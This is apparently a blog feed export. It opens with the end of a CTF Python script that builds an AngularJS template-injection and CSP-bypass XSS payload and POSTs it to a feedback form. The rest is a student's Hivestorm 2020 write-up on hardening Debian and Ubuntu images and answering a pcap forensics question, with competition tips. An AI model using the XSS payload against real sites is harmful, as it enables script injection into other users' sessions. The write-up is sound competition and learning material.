<span class="n">csp_bypass</span> <span class="o">=</span> <span class="s">'<script src=</span><span class="se">\\</span><span class="s">"'</span> <span class="o">+</span> <span class="n">cloudflare_vulnerable_url</span> <span class="o">+</span> <span class="s">'</span><span class="se">\\</span><span class="s">"></script><K Ng-App>\{\{$new.constructor(</span><span class="se">\'</span><span class="s">'</span> <span class="o">+</span> <span class="n">js_payload</span> <span class="o">+</span> <span class="s">'</span><span class="se">\'</span><span class="s">)()\}\}'</span>
<span class="n">post_data</span> <span class="o">=</span> <span class="s">'{</span><span class="se">\"</span><span class="s">feedback</span><span class="se">\"</span><span class="s">:</span><span class="se">\"</span><span class="s">'</span> <span class="o">+</span> <span class="n">csp_bypass</span> <span class="o">+</span> <span class="s">'</span><span class="se">\"</span><span class="s">}'</span>
<span class="n">post_headers</span> <span class="o">=</span> <span class="p">{</span><span class="s">'Content-Type'</span><span class="p">:</span><span class="s">'application/json'</span><span class="p">}</span>
<span class="n">post_request</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">target_url</span><span class="p">,</span> <span class="n">data</span> <span class="o">=</span> <span class="n">post_data</span><span class="p">,</span> <span class="n">headers</span> <span class="o">=</span> <span class="n">post_headers</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">csp_bypass</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">post_request</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div></div>Gabriel Fokgabriel@gabrielfok.usMy team and I competed in HackTheBox's CTF Cyber Apocolypse and we got 189th place out of 4740 teams worldwide (top 3.99%). Amongst US teams, we were top 40. I focused mainly on crypto and helped my team occasionally in other categories.Hivestorm 20202020-10-25T00:00:00+00:002020-10-25T00:00:00+00:00https://gabrielfok.us/competition/Hivestorm2020<p>tldr; It was fun and very similar to CyberPatriot. Don’t expect answers to the images.</p>
<h1 id="overall-thoughts">Overall Thoughts</h1>
<p>Last week (10/17/20), Hivestorm 2020 took place and I was team captain and was also one of the two Linux members on my team. For the first 3 of 4 hours, I focused on the Debian image, then my Ubuntu partner and I switched images. Comparing it to its sister competition, CyberPatriot, Hivestorm was a little higher than Round 4 level. Since there was no red team, I can’t compare it to the CyberPatriot national images. My partner and I were able to get about 130/200 combined points on the two Linux images. We weren’t really trying too hard because we were mostly just using the competition images as testing our teamwork, tools, and flow for another cybersecurity competition CCDC. We ended up getting 6th nationally as a team of mostly rookies at this kind of competition.</p>
<p>“Would you compete in Hivestorm again?”
Yeah, probably. Since the <a href="http://www.hivestorm.org/rules.html">rules page</a> doesn’t seem to have restrictions against students from different schools competing together, I might try again with different friends, but who knows.</p>
<h1 id="the-debian-image">The Debian Image</h1>
<p>Since it’s been a while since I competed in this kind of competition, I forgot that there were forensics questions. I read them and noted what kinds of information is required to answer them so I don’t accidentally remove something required for answering them, but didn’t focus on them. I was more focused on quickly establishing secure anti-red team policies on an insecure Debian system. I pretended like the image was terminal-only, which made me have to manually fix the Debian repos in the <code class="language-plaintext highlighter-rouge">/etc/apt/sources.list</code> file. For those who were wondering why they couldn’t download anything on the image, it was because the repos were all set to CD-ROM only, and since there was no disc inserted with your desired packages, it couldn’t install anything. You can replace them with the following repos or any other Debian 8 ones you want:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>deb http://ftp.us.debian.org/debian/ jessie main contrib non-free
deb-src http://ftp.us.debian.org/debian/ jessie main contrib non-free
</code></pre></div></div>
<p>There were a lot of points on Debian related to updates and uninstalling unauthorized/unnecessary packages, so fixing the repos was pretty important.</p>
<p>System administration obviously entails looking for unauthorized users or misconfigured privileges. Since there was a README on the desktop stating which users were allowed, it was pretty easy finding which users were not supposed to exist and who needed to be an admin user.</p>
<p>Another large source of points, was in various config files that you could find in <code class="language-plaintext highlighter-rouge">/etc/</code>. For novices at Linux, <code class="language-plaintext highlighter-rouge">/etc</code> is where the system stores the configuration files for your services and system. Some common files that a Linux administrator should look at is <code class="language-plaintext highlighter-rouge">/etc/login.defs</code>, <code class="language-plaintext highlighter-rouge">/etc/sudoers</code>, <code class="language-plaintext highlighter-rouge">/etc/pam.d/common-password</code>, <code class="language-plaintext highlighter-rouge">/etc/pam.d/common-auth</code>, and <code class="language-plaintext highlighter-rouge">/etc/ssh/sshd_config</code> if the computer needs SSH. Some things, however, are not configured in <code class="language-plaintext highlighter-rouge">/etc</code>, but those are usually things like CMSs, for example WordPress. You would need to enter configurations into the directory that the config file is hosted in, in WordPress’s case <code class="language-plaintext highlighter-rouge">/var/www/html/wordpress/wp-config.php</code>. (note:sometimes people don’t give WordPress its own directory and the contents are just in <code class="language-plaintext highlighter-rouge">/var/www/html</code>).</p>
<p>One thing I do want to point out, however, is SMTP servers require a web server. Don’t think that just because the README doesn’t say HTTP is a required service that you can uninstall Apache. Not only was it required, but also worth points for configuring correctly.</p>
<p>There were more complicated configuration edits/hardening practices required, but I won’t be giving away all the answers. If you were just looking for the answers, you won’t learn much. Hopefully these things pointed you in the right direction so that you can conduct your own open-source research with your best friend Google!</p>
<h1 id="the-ubuntu-image">The Ubuntu Image</h1>
<p>My partner worked on the Ubuntu image for the first 3 hours of the competition before we switched, so I can only write about my experience with the image. There were significantly fewer low-hanging fruit to get points from at this point, so I focused on service hardening. I was initially expecting a LAMP stack, but it turned out to be a LEMP (Linux, Nginx, MySQL, PHP) stack instead. I wasn’t really prepared for nginx, so I googled some configs for nginx and applied them as I saw fit. The rest of the LEMP stack configs went pretty much according to how I planned, though most were already applied by my partner. Other than hosting a LEMP stack instead of a mail server, the two images were pretty similar in types of vulnerabilities.</p>
<p>Towards the end of the competition, we focused on answering the forensics questions. One of the questions I answered was Forensics Question 1 on the Ubuntu image. In short, we had a .pcap file that tracked an image download. We have to find the md5 sum of the image downloaded. Since it was a .pcap file, I knew it was related to Wireshark, so I installed it and opened the .pcap in it. The file was pretty short, so it was easy to find the download event. From there I found the <code class="language-plaintext highlighter-rouge">GET</code> HTTP command, and found the image that was downloaded. I downloaded the image to my desktop with the name <code class="language-plaintext highlighter-rouge">image</code> and used the following command:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">md5sum </span>image
</code></pre></div></div>
<p>Copy and pasting the output gave me the points. One thing that my team members struggled with was they originally downloaded a thumbnail of the image from the initial request, not the actual file itself. So when they used the <code class="language-plaintext highlighter-rouge">md5sum</code> command, it didn’t give them the right sum.</p>
<h1 id="advice-for-competitors">Advice for Competitors</h1>
<p>If you’re looking to compete in a future Hivestorm event, I highly recommend it if you’re just getting into cybersecurity or just want to try your skills. If you competed in CyberPatriot, you should have a good idea of what to expect. Honestly, even CyberPatriot competitors can use these tips. Here are some things to keep in mind when you compete:</p>
<ol>
<li>PREPARE A CHECKLIST. This may seem obvious, but not making a checklist will severely slow you down when it comes to competition. When it’s 3 hours in and you’ve been staring blankly at Google for 15 minutes, you will be too mentally drained to remember where to cd to.</li>
<li>Communicate with your team members. If you are stuck or think something is broken, tell your team. They may know the answer and it will save precious time. Even across OS! I answered my Windows team’s forensics questions.</li>
<li>Learn how to Google effectively. It will save you from wasting time on irrelevant results.</li>
<li>Don’t keep looking at the scoreboard. It’s a waste of time. When it’s 30 minutes left, I know you will be tempted to keep refreshing the scoreboard and see if anyone is overtaking you, but you will not get points that way. Use that time on a web browser to keep researching for something new.</li>
<li>If you have a partner working on the same family of OS (Linux team/Windows team), try switching images. You might be overlooking something because you familiarized yourself with one image. Getting a pair of fresh eyes may help you or your partner think of something new/you forgot about. This can also be an opportunity for you to communicate as stated in Tip 2. Make sure to only give a brief summary of what you did/have been looking into. You want your partner to still be going in semi-blind to double-check your work.</li>
</ol>
<p>UPDATE 10/28/20: According to Hivestorm, I had the highest Debian score (67).</p>Gabriel Fokgabriel@gabrielfok.usLast week, my teammates and I competed in Hivestorm 2020. I focused on the Debian and Ubuntu images. We were 3rd place on Saturday, but dropped to 6th at the end of Sunday. Overall, it was a good warmup for CCDC coming up soon. Also, I got the high score for Debian.